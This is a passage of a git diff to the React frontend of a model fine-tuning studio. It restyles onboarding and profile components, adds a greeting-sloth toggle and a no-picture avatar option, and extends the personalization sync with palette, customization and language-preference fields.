+                "border-2 border-dashed rounded-xl p-8 text-center transition-colors cursor-pointer hover:border-ring hover:bg-muted/50",
+                uploadedFile && "border-ring-strong bg-primary/5",
               )}
               onClick={handleFileUpload}
             >
diff --git a/studio/frontend/src/features/onboarding/components/steps/hyperparameters-step.tsx b/studio/frontend/src/features/onboarding/components/steps/hyperparameters-step.tsx
index 2fb2f7adeb..1c0a7dcb3f 100644
--- a/studio/frontend/src/features/onboarding/components/steps/hyperparameters-step.tsx
+++ b/studio/frontend/src/features/onboarding/components/steps/hyperparameters-step.tsx
@@ -225,7 +225,7 @@ export function HyperparametersStep() {
                   min={1}
                   max={useEpochs ? epochsSliderMax : maxStepsSliderMax}
                   step={1}
-                  className="w-16 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-primary/30 [&::-webkit-inner-spin-button]:appearance-none"
+                  className="w-16 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-ring [&::-webkit-inner-spin-button]:appearance-none"
                 />
               </div>
             </div>
@@ -379,7 +379,7 @@ export function HyperparametersStep() {
                     min={4}
                     max={128}
                     step={4}
-                    className="w-12 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-primary/30 [&::-webkit-inner-spin-button]:appearance-none"
+                    className="w-12 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-ring [&::-webkit-inner-spin-button]:appearance-none"
                   />
                 </div>
               </div>
@@ -428,7 +428,7 @@ export function HyperparametersStep() {
                     min={8}
                     max={256}
                     step={8}
-                    className="w-12 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-primary/30 [&::-webkit-inner-spin-button]:appearance-none"
+                    className="w-12 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-ring [&::-webkit-inner-spin-button]:appearance-none"
                   />
                 </div>
               </div>
@@ -478,7 +478,7 @@ export function HyperparametersStep() {
                     min={0}
                     max={0.5}
                     step={0.01}
-                    className="w-12 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-primary/30 [&::-webkit-inner-spin-button]:appearance-none"
+                    className="w-12 text-right font-mono text-xs font-medium bg-muted/50 border border-border rounded-lg px-1.5 py-0.5 focus:outline-none focus:ring-1 focus:ring-ring [&::-webkit-inner-spin-button]:appearance-none"
                   />
                 </div>
               </div>
diff --git a/studio/frontend/src/features/onboarding/components/steps/model-selection-step.tsx b/studio/frontend/src/features/onboarding/components/steps/model-selection-step.tsx
index a5ce25dd32..b22e91eaf0 100644
--- a/studio/frontend/src/features/onboarding/components/steps/model-selection-step.tsx
+++ b/studio/frontend/src/features/onboarding/components/steps/model-selection-step.tsx
@@ -113,7 +113,7 @@ export function ModelSelectionStep() {
     return applyPriorityOrdering(ids);
   }, [hfResults]);
 
-  // Match Studio: only show exception signals (OOM/TIGHT) in training flows.
+  // Match Unsloth: only show exception signals (OOM/TIGHT) in training flows.
   const vramMap = useMemo(() => {
     const fitMap = buildModelVramMap(
       hfResults,
@@ -286,12 +286,12 @@ export function ModelSelectionStep() {
                         </Tooltip>
                         <span className="flex items-center gap-1.5 shrink-0">
                           {fitStatus === "exceeds" && (
-                            <span className="text-[9px] font-medium !text-red-700 !bg-red-50 dark:!text-red-400 dark:!bg-red-950 px-1.5 py-0.5 rounded">
+                            <span className="text-ui-9 font-medium !text-red-700 !bg-red-50 dark:!text-red-400 dark:!bg-red-950 px-1.5 py-0.5 rounded">
                               OOM
                             </span>
                           )}
                           {fitStatus === "tight" && (
-                            <span className="text-[9px] font-medium !text-amber-400">
+                            <span className="text-ui-9 font-medium !text-amber-400">
                               TIGHT
                             </span>
                           )}
diff --git a/studio/frontend/src/features/onboarding/components/steps/model-type-step.tsx b/studio/frontend/src/features/onboarding/components/steps/model-type-step.tsx
index 2a286a8c80..038b19cdc9 100644
--- a/studio/frontend/src/features/onboarding/components/steps/model-type-step.tsx
+++ b/studio/frontend/src/features/onboarding/components/steps/model-type-step.tsx
@@ -97,16 +97,16 @@ export function ModelTypeStep(): ReactElement {
                   "relative shadow-primary/30 transition-all duration-150 ease-out",
                   isDisabled && "opacity-50 bg-muted/50",
                   !isDisabled &&
-                    "hover:ring-primary/40 hover:-translate-y-0.5 hover:shadow-sm",
+                    "hover:ring-ring hover:-translate-y-0.5 hover:shadow-sm",
                   isSelected &&
                     !isDisabled &&
-                    "ring-2 ring-primary -translate-y-0.5 shadow-sm",
+                    "ring-1 ring-ring-strong -translate-y-0.5 shadow-sm",
                 )}
               >
                 {isDisabled && (
                   <Badge
                     variant="secondary"
-                    className="absolute top-2 right-2 text-[10px]"
+                    className="absolute top-2 right-2 text-ui-10"
                   >
                     Coming Soon
                   </Badge>
@@ -187,8 +187,8 @@ export function ModelTypeStep(): ReactElement {
             size="sm"
             className={cn(
               "relative shadow-primary/30 transition-all duration-150 ease-out",
-              "hover:ring-primary/40 hover:-translate-y-0.5 hover:shadow-sm",
-              chatOnlySelected && "ring-2 ring-primary -translate-y-0.5 shadow-sm",
+              "hover:ring-ring hover:-translate-y-0.5 hover:shadow-sm",
+              chatOnlySelected && "ring-1 ring-ring-strong -translate-y-0.5 shadow-sm",
             )}
           >
             <CardContent className="flex items-center gap-4 py-4">
diff --git a/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx b/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx
index 6b6b11bf1f..996966c34b 100644
--- a/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx
+++ b/studio/frontend/src/features/onboarding/components/steps/summary-step.tsx
@@ -118,14 +118,14 @@ export function SummaryStep() {
         </CardHeader>
         <CardContent className="flex flex-1 flex-col">
           <div className="flex items-start gap-3">
-            <div className="mt-0.5 flex size-8 shrink-0 items-center justify-center rounded-lg bg-emerald-500/10">
-              <HugeiconsIcon icon={GpuIcon} className="size-4 text-emerald-600" />
+            <div className="mt-0.5 flex size-8 shrink-0 items-center justify-center rounded-lg bg-control-accent/10">
+              <HugeiconsIcon icon={GpuIcon} className="size-4 text-control-accent" />
             </div>
             <div className="flex flex-1 flex-col">
               <span className="text-xs text-muted-foreground">GPU</span>
               <div className="flex items-center gap-2">
                 <span className="text-sm font-medium">{hw.gpuName ?? "---"}</span>
-                <Badge variant="secondary">{hw.vramTotalGb != null ? `${hw.vramTotalGb} GB` : "---"}</Badge>
+                <Badge variant="secondary">{hw.vramTotalGb != null ? `${hw.vramTotalGb} GiB` : "---"}</Badge>
               </div>
             </div>
           </div>
@@ -144,8 +144,8 @@ export function SummaryStep() {
         </CardHeader>
         <CardContent className="flex flex-1 flex-col">
           <div className="flex items-start gap-3">
-            <div className="mt-0.5 flex size-8 shrink-0 items-center justify-center rounded-lg bg-emerald-500/10">
-              <HugeiconsIcon icon={ChipIcon} className="size-4 text-emerald-600" />
+            <div className="mt-0.5 flex size-8 shrink-0 items-center justify-center rounded-lg bg-control-accent/10">
+              <HugeiconsIcon icon={ChipIcon} className="size-4 text-control-accent" />
             </div>
             <div className="flex flex-1 flex-col overflow-hidden">
               <span className="text-xs text-muted-foreground">Model</span>
diff --git a/studio/frontend/src/features/onboarding/components/wizard-layout.tsx b/studio/frontend/src/features/onboarding/components/wizard-layout.tsx
index 22274c5d7d..348f0fd051 100644
--- a/studio/frontend/src/features/onboarding/components/wizard-layout.tsx
+++ b/studio/frontend/src/features/onboarding/components/wizard-layout.tsx
@@ -9,6 +9,7 @@ import { Suspense, lazy, useEffect, useRef, useState } from "react";
 import type { ConfettiRef } from "@/components/ui/confetti";
 import { STEPS } from "@/config/training";
 import { isOnboardingDone, markOnboardingDone } from "@/features/auth";
+import { prefersReducedMotion } from "@/features/settings";
 import { useTrainingConfigStore } from "@/features/training";
 import { SplashScreen } from "./splash-screen";
 import { WizardContent } from "./wizard-content";
@@ -52,20 +53,23 @@ export function WizardLayout() {
   useEffect(() => {
     if (isFinalStep && !hasFiredRef.current) {
       hasFiredRef.current = true;
-      confettiRef.current?.fire({
-        particleCount: 80,
-        angle: 60,
-        spread: 55,
-        origin: { x: 0, y: 0.6 },
-        colors: ["#34b482", "#26ccff", "#a25afd", "#88ff5a"],
-      });
-      confettiRef.current?.fire({
-        particleCount: 80,
-        angle: 120,
-        spread: 55,
-        origin: { x: 1, y: 0.6 },
-        colors: ["#34b482", "#26ccff", "#a25afd", "#88ff5a"],
-      });
+      // Honor Appearance > Reduce motion; skip the celebration when reduced.
+      if (!prefersReducedMotion()) {
+        confettiRef.current?.fire({
+          particleCount: 80,
+          angle: 60,
+          spread: 55,
+          origin: { x: 0, y: 0.6 },
+          colors: ["#34b482", "#26ccff", "#a25afd", "#88ff5a"],
+        });
+        confettiRef.current?.fire({
+          particleCount: 80,
+          angle: 120,
+          spread: 55,
+          origin: { x: 1, y: 0.6 },
+          colors: ["#34b482", "#26ccff", "#a25afd", "#88ff5a"],
+        });
+      }
     }
     if (!isFinalStep) {
       hasFiredRef.current = false;
diff --git a/studio/frontend/src/features/onboarding/components/wizard-sidebar.tsx b/studio/frontend/src/features/onboarding/components/wizard-sidebar.tsx
index 4637336c6c..d5e11110ab 100644
--- a/studio/frontend/src/features/onboarding/components/wizard-sidebar.tsx
+++ b/studio/frontend/src/features/onboarding/components/wizard-sidebar.tsx
@@ -17,14 +17,16 @@ export function WizardSidebar({ returnTo }: { returnTo: string }) {
   return (
     <aside className="w-full shrink-0 bg-muted/70 p-4 md:w-64 md:p-6">
       <div className="flex items-center gap-3 py-1 md:py-2">
+        {/* Logo lockup follows the UI font size at half rate:
+            base + (root scale - 1) * 8px. Exact base sizes at 16px. */}
         <img
           src={`${import.meta.env.BASE_URL}sticker.png`}
           alt="Unsloth"
-          className="size-12"
+          className="size-[calc(40px+0.5rem*var(--ui-font-scale,1))]"
         />
         <div className="flex flex-col">
-          <span className="font-semibold text-lg leading-tight">Unsloth</span>
-          <span className="text-xs text-muted-foreground">Studio</span>
+          <span className="font-semibold text-[calc(10px+0.5rem*var(--ui-font-scale,1))] leading-tight">Unsloth</span>
+          <span className="text-[calc(4px+0.5rem*var(--ui-font-scale,1))] text-muted-foreground">Studio</span>
         </div>
       </div>
       <div className="mt-3 md:mt-0">
diff --git a/studio/frontend/src/features/profile/components/profile-personalization-panel.tsx b/studio/frontend/src/features/profile/components/profile-personalization-panel.tsx
index 7c81411a3c..d403f7fe66 100644
--- a/studio/frontend/src/features/profile/components/profile-personalization-panel.tsx
+++ b/studio/frontend/src/features/profile/components/profile-personalization-panel.tsx
@@ -5,11 +5,12 @@ import { publicAssetUrl } from "@/components/mascot-img";
 import { Button } from "@/components/ui/button";
 import { Input } from "@/components/ui/input";
 import { Label } from "@/components/ui/label";
+import { Switch } from "@/components/ui/switch";
 import { getAuthToken } from "@/features/auth";
 import { cn } from "@/lib/utils";
 import { useT } from "@/i18n";
 import { toastError, toastSuccess } from "@/shared/toast";
-import { Camera01Icon } from "@hugeicons/core-free-icons";
+import { Edit03Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useEffect, useMemo, useRef, useState } from "react";
 import { SLOTH_AVATARS } from "../sloth-avatars";
@@ -63,6 +64,10 @@ export function ProfilePersonalizationPanel() {
   const setAvatarDataUrl = useUserProfileStore((s) => s.setAvatarDataUrl);
   const avatarShape = useUserProfileStore((s) => s.avatarShape);
   const setAvatarShape = useUserProfileStore((s) => s.setAvatarShape);
+  const showGreetingSloth = useUserProfileStore((s) => s.showGreetingSloth);
+  const setShowGreetingSloth = useUserProfileStore(
+    (s) => s.setShowGreetingSloth,
+  );
 
   const [imageError, setImageError] = useState<string | null>(null);
   const [draftName, setDraftName] = useState(displayName);
@@ -128,7 +133,7 @@ export function ProfilePersonalizationPanel() {
     }
   };
 
-  const applyAvatar = (value: string) => {
+  const applyAvatar = (value: string | null) => {
     setAvatarDataUrl(value);
     const persisted = readPersistedProfile();
     if (persisted && persisted.avatarDataUrl === value) {
@@ -154,9 +159,29 @@ export function ProfilePersonalizationPanel() {
     }
   };
 
-  const pickSloth = (path: string) => {
+  // The avatar is shown all over the app (sidebar, chat messages, greeting),
+  // so writing it to the store can trigger a wide re-render. Mark the picked
+  // value locally first so its ring moves this frame, then commit the store
+  // write on the next frame. Boxed because null is a valid pick (no picture).
+  const [pendingAvatar, setPendingAvatar] = useState<{
+    value: string | null;
+  } | null>(null);
+  const shownAvatar = pendingAvatar ? pendingAvatar.value : avatarDataUrl;
+
+  useEffect(() => {
+    if (pendingAvatar && avatarDataUrl === pendingAvatar.value) {
+      setPendingAvatar(null);
+    }
+  }, [avatarDataUrl, pendingAvatar]);
+
+  const pickAvatarValue = (value: string | null) => {
     setImageError(null);
-    applyAvatar(publicAssetUrl(path));
+    setPendingAvatar({ value });
+    requestAnimationFrame(() => applyAvatar(value));
+  };
+
+  const pickSloth = (path: string) => {
+    pickAvatarValue(publicAssetUrl(path));
   };
 
   return (
@@ -164,9 +189,9 @@ export function ProfilePersonalizationPanel() {
       <div className="relative">
         <UserAvatar
           name={previewName}
-          imageUrl={avatarDataUrl}
+          imageUrl={shownAvatar}
           size="lg"
-          className="size-[124px] text-[3.15rem]"
+          className="size-[124px] text-[calc(3.15rem*var(--ui-font-scale,1))]"
         />
         <input
           ref={fileInputRef}
@@ -181,14 +206,17 @@ export function ProfilePersonalizationPanel() {
         <button
           type="button"
           onClick={() => fileInputRef.current?.click()}
-          className="absolute right-0 bottom-0 -translate-x-[15.625%] -translate-y-[15.625%] flex size-8 items-center justify-center rounded-full border border-border bg-background text-foreground shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] transition-colors hover:bg-muted focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 focus-visible:ring-offset-background"
+          className="absolute right-0 bottom-0 -translate-x-[15.625%] -translate-y-[15.625%] flex size-8 items-center justify-center rounded-full border border-border bg-background text-foreground shadow-[0_2px_8px_-2px_rgba(0,0,0,0.16)] transition-colors hover:bg-muted focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
           aria-label={t("settings.profile.changePicture")}
         >
-          <HugeiconsIcon icon={Camera01Icon} className="size-3.5" strokeWidth={2} />
+          <HugeiconsIcon icon={Edit03Icon} className="size-3.5" strokeWidth={2} />
         </button>
       </div>
 
-      <div className="flex w-full max-w-[560px] flex-col gap-2">
+      <div
+        data-settings-label={t("settings.profile.displayName")}
+        className="flex w-full max-w-[560px] flex-col gap-2"
+      >
         <Label htmlFor="profile-display-name" className="text-xs font-medium text-muted-foreground">
           {t("settings.profile.displayName")}
         </Label>
@@ -215,7 +243,10 @@ export function ProfilePersonalizationPanel() {
         </div>
       </div>
 
-      <div className="flex w-full max-w-[560px] flex-col gap-2">
+      <div
+        data-settings-label={t("settings.profile.nickname")}
+        className="flex w-full max-w-[560px] flex-col gap-2"
+      >
         <Label htmlFor="profile-nickname" className="text-xs font-medium text-muted-foreground">
           {t("settings.profile.nickname")}
         </Label>
@@ -242,7 +273,10 @@ export function ProfilePersonalizationPanel() {
         </div>
       </div>
 
-      <div className="flex w-full max-w-[560px] flex-col gap-2">
+      <div
+        data-settings-label={t("settings.profile.avatarShape")}
+        className="flex w-full max-w-[560px] flex-col gap-2"
+      >
         <Label className="text-xs font-medium text-muted-foreground">
           {t("settings.profile.avatarShape")}
         </Label>
@@ -254,7 +288,7 @@ export function ProfilePersonalizationPanel() {
               onClick={() => setAvatarShape(shape)}
               aria-pressed={avatarShape === shape}
               className={cn(
-                "inline-flex h-8 items-center rounded-full px-4 text-[13px] font-medium transition-colors",
+                "inline-flex h-8 items-center rounded-full px-4 text-ui-13 font-medium transition-colors",
                 avatarShape === shape
                   ? "hub-tab-toggle-pill text-foreground"
                   : "text-muted-foreground hover:text-foreground",
@@ -268,6 +302,28 @@ export function ProfilePersonalizationPanel() {
         </div>
       </div>
 
+      <div
+        data-settings-label={t("settings.profile.greetingSloth")}
+        className="flex w-full max-w-[560px] items-center justify-between gap-4"
+      >
+        <div className="flex min-w-0 flex-col gap-0.5">
+          <Label
+            htmlFor="profile-greeting-sloth"
+            className="text-xs font-medium text-muted-foreground"
+          >
+            {t("settings.profile.greetingSloth")}
+          </Label>
+          <p className="text-xs text-muted-foreground/75">
+            {t("settings.profile.greetingSlothDescription")}
+          </p>
+        </div>
+        <Switch
+          id="profile-greeting-sloth"
+          checked={showGreetingSloth}
+          onCheckedChange={setShowGreetingSloth}
+        />
+      </div>
+
       <div className="flex w-full max-w-[560px] flex-col gap-2">
         <Label className="text-xs font-medium text-muted-foreground">
           {t("settings.profile.chooseSloth")}
@@ -275,7 +331,7 @@ export function ProfilePersonalizationPanel() {
         <div className="grid grid-cols-7 gap-2 sm:grid-cols-9">
           {SLOTH_AVATARS.map((path) => {
             const url = publicAssetUrl(path);
-            const selected = avatarDataUrl === url;
+            const selected = shownAvatar === url;
             const label =
               path.split("/").pop()?.replace(/\.png$/i, "").replace(/^large\s+/i, "").trim() ??
               "sloth";
@@ -288,14 +344,32 @@ export function ProfilePersonalizationPanel() {
                 aria-label={label}
                 title={label}
                 className={cn(
-                  "relative aspect-square overflow-hidden rounded-full bg-muted ring-1 ring-border transition hover:ring-primary/60 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
-                  selected && "ring-2 ring-primary",
+                  // No transition here: animating the ring makes the old
+                  // icon's selection border linger when switching sloths.
+                  "relative aspect-square overflow-hidden rounded-full bg-muted ring-1 ring-border hover:ring-ring focus-visible:outline-none focus-visible:ring-ring",
+                  // Selection keeps the 1px weight, only darker.
+                  selected && "ring-ring-strong hover:ring-ring-strong",
                 )}
               >
                 <img src={url} alt="" loading="lazy" className="size-full object-cover" />
               </button>
             );
           })}
+          <button
+            type="button"
+            onClick={() => pickAvatarValue(null)}
+            aria-pressed={shownAvatar === null}
+            aria-label={t("settings.profile.noPicture")}
+            title={t("settings.profile.noPicture")}
+            className={cn(
+              "relative flex aspect-square items-center justify-center overflow-hidden rounded-full bg-muted text-muted-foreground ring-1 ring-border hover:ring-ring focus-visible:outline-none focus-visible:ring-ring",
+              shownAvatar === null && "ring-ring-strong hover:ring-ring-strong",
+            )}
+          >
+            <span className="text-ui-11 font-medium">
+              {t("settings.profile.noneLabel")}
+            </span>
+          </button>
         </div>
       </div>
 
diff --git a/studio/frontend/src/features/profile/components/user-avatar.tsx b/studio/frontend/src/features/profile/components/user-avatar.tsx
index e2c7dec856..e883fc5fad 100644
--- a/studio/frontend/src/features/profile/components/user-avatar.tsx
+++ b/studio/frontend/src/features/profile/components/user-avatar.tsx
@@ -21,7 +21,7 @@ const SIZE: Record<"sm" | "md" | "lg", string> = {
   sm: "size-9 text-xs",
   md: "size-11 text-sm",
   /** ~10% larger than `size-24` / `text-2xl` for the edit-profile dialog. */
-  lg: "size-[106px] text-[1.65rem]",
+  lg: "size-[106px] text-[calc(1.65rem*var(--ui-font-scale,1))]",
 };
 
 // Percentage radius keeps the rounded-rectangle proportional across sizes.
@@ -47,7 +47,7 @@ export function UserAvatar({ name, imageUrl, size, className, shape }: UserAvata
     <span
       style={avatarBgStyle()}
       className={cn(
-        "inline-flex shrink-0 items-center justify-center font-semibold text-white",
+        "inline-flex shrink-0 items-center justify-center font-semibold",
         shapeClass,
         SIZE[size],
         className,
diff --git a/studio/frontend/src/features/profile/hooks/use-personalization-sync.ts b/studio/frontend/src/features/profile/hooks/use-personalization-sync.ts
index eac1a64d7a..6e919505ea 100644
--- a/studio/frontend/src/features/profile/hooks/use-personalization-sync.ts
+++ b/studio/frontend/src/features/profile/hooks/use-personalization-sync.ts
@@ -2,19 +2,27 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import {
-  loadPersonalization,
-  savePersonalization,
-  setTheme,
-  useTheme,
+  type AppearanceCustomization,
+  type Palette,
   type Theme,
+  isDefaultCustomization,
+  isPalette,
+  loadPersonalization,
+  sanitizeCustomization,
+  savePersonalization,
+  setPalette,
+  setTheme,
+  useAppearanceCustomStore,
+  usePalette,
+  useTheme,
 } from "@/features/settings";
 import {
-  DEFAULT_LOCALE,
-  getLocale,
-  isSupportedLocale,
+  DEFAULT_LOCALE_PREFERENCE,
+  getLocalePreference,
+  isLocalePreference,
   setLocale,
-  useLocale,
-  type Locale,
+  useLocalePreference,
+  type LocalePreference,
 } from "@/i18n";
 import { useCallback, useEffect, useRef, useState } from "react";
 import {
@@ -25,11 +33,17 @@ import type { AvatarShape } from "../stores/user-profile-store";
 
 const PUSH_DEBOUNCE_MS = 800;
 
+// Version 2 payloads store the language preference ("auto" or a pinned
+// locale). Version 1 always serialized the resolved locale, so its "en" is
+// usually the old default rather than an explicit pick.
+const PERSONALIZATION_VERSION = 2;
+
 type ProfileSnapshot = {
   displayName: string;
   nickname: string;
   avatarDataUrl: string | null;
   avatarShape: AvatarShape;
+  showGreetingSloth: boolean;
 };
 
 type PersonalizationWrite = Parameters<typeof savePersonalization>[0];
@@ -57,7 +71,8 @@ function sameProfile(a: ProfileSnapshot, b: ProfileSnapshot): boolean {
     a.displayName === b.displayName &&
     a.nickname === b.nickname &&
     a.avatarDataUrl === b.avatarDataUrl &&
-    a.avatarShape === b.avatarShape
+    a.avatarShape === b.avatarShape &&
+    a.showGreetingSloth === b.showGreetingSloth
   );
 }
 
@@ -104,18 +119,21 @@ function profileSnapshot(): ProfileSnapshot {
     nickname: s.nickname,
     avatarDataUrl: s.avatarDataUrl,
     avatarShape: s.avatarShape,
+    showGreetingSloth: s.showGreetingSloth,
   };
 }
 
 function payload(
   profile: ProfileSnapshot,
   theme: Theme,
-  language: Locale | null,
+  palette: Palette,
+  customization: AppearanceCustomization,
+  language: LocalePreference | null,
 ): PersonalizationWrite {
   return {
-    version: 1,
+    version: PERSONALIZATION_VERSION,
     profile: normalizeProfile(profile),
-    appearance: { theme, language },
+    appearance: { theme, palette, language, customization },
   };
 }
 
@@ -123,18 +141,36 @@ function serialized(data: PersonalizationWrite): string {
   return JSON.stringify(data);
 }
 
+// Version 1 clients wrote language on every save, so a legacy "en" usually
+// means the user never picked a language. Map it to auto; explicit picks of
+// other locales (the old default was English) are kept. Version 2 payloads
+// are trusted verbatim, so a deliberate English pick stays pinned.
+export function remoteLanguagePreference(
+  version: unknown,
+  language: unknown,
+): unknown {
+  const isLegacy = typeof version !== "number" || version < 2;
+  if (isLegacy && language === "en") return DEFAULT_LOCALE_PREFERENCE;
+  return language;
+}
+
 function hasLocalSettings(
   profile: ProfileSnapshot,
   theme: Theme,
-  language: Locale,
+  palette: Palette,
+  customization: AppearanceCustomization,
+  language: LocalePreference,
 ): boolean {
   return Boolean(
     profile.displayName ||
       profile.nickname ||
       profile.avatarDataUrl ||
       profile.avatarShape !== "circle" ||
+      !profile.showGreetingSloth ||
       theme !== "system" ||
-      language !== DEFAULT_LOCALE,
+      palette !== "standard" ||
+      !isDefaultCustomization(customization) ||
+      language !== DEFAULT_LOCALE_PREFERENCE,
   );
 }
 
@@ -143,11 +179,16 @@ export function usePersonalizationSync(enabled: boolean): void {
   const nickname = useUserProfileStore((s) => s.nickname);
   const avatarDataUrl = useUserProfileStore((s) => s.avatarDataUrl);
   const avatarShape = useUserProfileStore((s) => s.avatarShape);
+  const showGreetingSloth = useUserProfileStore((s) => s.showGreetingSloth);
   const { theme } = useTheme();
-  const language = useLocale();
+  const { palette } = usePalette();
+  const customization = useAppearanceCustomStore((s) => s.customization);
+  const language = useLocalePreference();
   const [hydratedGeneration, setHydratedGeneration] = useState(0);
   const authGenerationRef = useRef(0);
   const latestThemeRef = useRef(theme);
+  const latestPaletteRef = useRef(palette);
+  const latestCustomizationRef = useRef(customization);
   const latestLanguageRef = useRef(language);
   const lastSavedRef = useRef("");
   const saveInFlightRef = useRef(false);
@@ -166,6 +207,14 @@ export function usePersonalizationSync(enabled: boolean): void {
     latestThemeRef.current = theme;
   }, [theme]);
 
+  useEffect(() => {
+    latestPaletteRef.current = palette;
+  }, [palette]);
+
+  useEffect(() => {
+    latestCustomizationRef.current = customization;
+  }, [customization]);
+
   useEffect(() => {
     latestLanguageRef.current = language;
   }, [language]);
@@ -184,21 +233,71 @@ export function usePersonalizationSync(enabled: boolean): void {
         const remote = await loadPersonalization();
         if (cancelled) return;
         if (remote.saved) {
+          // Legacy records predating a field come back server-defaulted. Keep
+          // the local value and re-push it (lastSaved below records the remote
+          // default so the push detects the diff) rather than treating the
+          // default as an explicit remote choice. A record that actually stored
+          // the field reports <field>Saved=true and still wins.
+          const localGreeting = useUserProfileStore.getState().showGreetingSloth;
+          const remoteGreeting = remote.profile.showGreetingSloth !== false;
+          const keepLocalGreeting =
+            remote.greetingSlothSaved === false && localGreeting === false;
           const nextProfile: ProfileSnapshot = {
             displayName: remote.profile.displayName ?? "",
             nickname: remote.profile.nickname ?? "",
             avatarDataUrl: remote.profile.avatarDataUrl ?? null,
-            avatarShape: remote.profile.avatarShape === "rounded" ? "rounded" : "circle",
+            avatarShape:
+              remote.profile.avatarShape === "rounded" ? "rounded" : "circle",
+            showGreetingSloth: keepLocalGreeting ? localGreeting : remoteGreeting,
           };
           const nextTheme = remote.appearance.theme;
-          const nextLanguage = isSupportedLocale(remote.appearance.language)
-            ? remote.appearance.language
+          const localPalette = latestPaletteRef.current;
+          const remotePalette = isPalette(remote.appearance.palette)
+            ? remote.appearance.palette
+            : localPalette;
+          const keepLocalPalette =
+            remote.paletteSaved === false && localPalette !== "standard";
+          const nextPalette = keepLocalPalette ? localPalette : remotePalette;
+          const remoteCustomization = sanitizeCustomization(
+            remote.appearance.customization,
+          );
+          const localCustomization = latestCustomizationRef.current;
+          const keepLocalCustomization =
+            remote.customizationSaved === false &&
+            !isDefaultCustomization(localCustomization);
+          const nextCustomization = keepLocalCustomization
+            ? localCustomization
+            : remoteCustomization;
+          const remoteLanguage = remoteLanguagePreference(
+            remote.version,
+            remote.appearance.language,
+          );
+          const nextLanguage = isLocalePreference(remoteLanguage)
+            ? remoteLanguage
             : latestLanguageRef.current;
           useUserProfileStore.setState(nextProfile);
           if (nextTheme !== latestThemeRef.current) setTheme(nextTheme);
-          if (nextLanguage !== latestLanguageRef.current) setLocale(nextLanguage);
+          if (nextPalette !== latestPaletteRef.current) setPalette(nextPalette);
+          if (
+            !keepLocalCustomization &&
+            JSON.stringify(nextCustomization) !==
+              JSON.stringify(latestCustomizationRef.current)
+          ) {
+            useAppearanceCustomStore.getState().replaceAll(nextCustomization);
+          }
+          if (nextLanguage !== latestLanguageRef.current)
+            setLocale(nextLanguage);
+          // lastSaved records what the server actually has (server-side defaults
+          // for legacy fields) so the debounced push re-uploads preserved local
+          // values.
           lastSavedRef.current = serialized(
-            payload(nextProfile, nextTheme, nextLanguage),
+            payload(
+              { ...nextProfile, showGreetingSloth: remoteGreeting },
+              nextTheme,
+              remotePalette,
+              remoteCustomization,
+              nextLanguage,
+            ),
           );
         } else {
           const rawProfile = profileSnapshot();
@@ -207,10 +306,26 @@ export function usePersonalizationSync(enabled: boolean): void {
             useUserProfileStore.setState(nextProfile);
           }
           const nextTheme = latestThemeRef.current;
-          const nextLanguage = getLocale();
-          const nextPayload = payload(nextProfile, nextTheme, nextLanguage);
+          const nextPalette = latestPaletteRef.current;
+          const nextCustomization = latestCustomizationRef.current;
+          const nextLanguage = getLocalePreference();
+          const nextPayload = payload(
+            nextProfile,
+            nextTheme,
+            nextPalette,
+            nextCustomization,
+            nextLanguage,
+          );
           const nextSerialized = serialized(nextPayload);
-          if (hasLocalSettings(nextProfile, nextTheme, nextLanguage)) {
+          if (
+            hasLocalSettings(
+              nextProfile,
+              nextTheme,
+              nextPalette,
+              nextCustomization,
+              nextLanguage,
+            )
+          ) {
             try {
               await savePersonalization(nextPayload);
               lastSavedRef.current = nextSerialized;
@@ -238,8 +353,10 @@ export function usePersonalizationSync(enabled: boolean): void {
   useEffect(() => {
     if (!enabled || hydratedGeneration !== authGenerationRef.current) return;
     const current = payload(
-      { displayName, nickname, avatarDataUrl, avatarShape },
+      { displayName, nickname, avatarDataUrl, avatarShape, showGreetingSloth },
       theme,
+      palette,
+      customization,
       language,
     );
     const currentSerialized = serialized(current);
@@ -260,7 +377,10 @@ export function usePersonalizationSync(enabled: boolean): void {
     nickname,
     avatarDataUrl,
     avatarShape,
+    showGreetingSloth,
     theme,
+    palette,
+    customization,
     language,
     drainSaveQueue,
   ]);
diff --git a/studio/frontend/src/features/profile/stores/user-profile-store.ts b/studio/frontend/src/features/profile/stores/user-profile-store.ts
index 0055a58f5d..a882a936a8 100644
--- a/studio/frontend/src/features/profile/stores/user-profile-store.ts
+++ b/studio/frontend/src/features/profile/stores/user-profile-store.ts
@@ -12,10 +12,12 @@ export interface UserProfileState {
   nickname: string;
   avatarDataUrl: string | null;
   avatarShape: AvatarShape;
+  showGreetingSloth: boolean;
   setDisplayName: (displayName: string) => void;
   setNickname: (nickname: string) => void;
   setAvatarDataUrl: (avatarDataUrl: string | null) => void;
   setAvatarShape: (avatarShape: AvatarShape) => void;
+  setShowGreetingSloth: (showGreetingSloth: boolean) => void;
 }
 
 export const useUserProfileStore = create<UserProfileState>()(
@@ -25,10 +27,12 @@ export const useUserProfileStore = create<UserProfileState>()(
       nickname: "",
       avatarDataUrl: null,
       avatarShape: "circle",
+      showGreetingSloth: true,
       setDisplayName: (displayName) => set({ displayName }),
       setNickname: (nickname) => set({ nickname }),
